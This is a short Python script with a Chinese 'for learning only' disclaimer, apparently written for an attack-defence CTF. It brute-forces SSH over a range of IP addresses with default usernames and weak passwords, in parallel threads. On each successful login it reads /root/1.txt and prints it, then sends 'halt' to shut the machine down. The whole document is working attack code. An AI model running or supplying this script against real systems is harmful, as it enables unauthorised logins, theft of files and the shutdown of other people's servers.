下面代码仅供学习参考,禁止用于其他非法途径
import threading
import paramiko
def con(host,user,passwd):
try:
s=paramiko.SSHClient()
s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
s.connect(hostname=host,username=user,password=passwd)
print(host,user,passwd)
a,b,c=s.exec_command("cat /root/1.txt")
print(host+' '+b.read().decode('utf-8'))
s.exec_command("halt")
except:
pass
user=['admin','guest','root']
passwd=['654321','123456']
for i in range(10,40):
ip='172.167.'+str(i)+'.250'
for j in user:
for k in passwd:
t=threading.Thread(target=con,args=(ip,j,k))
t.start()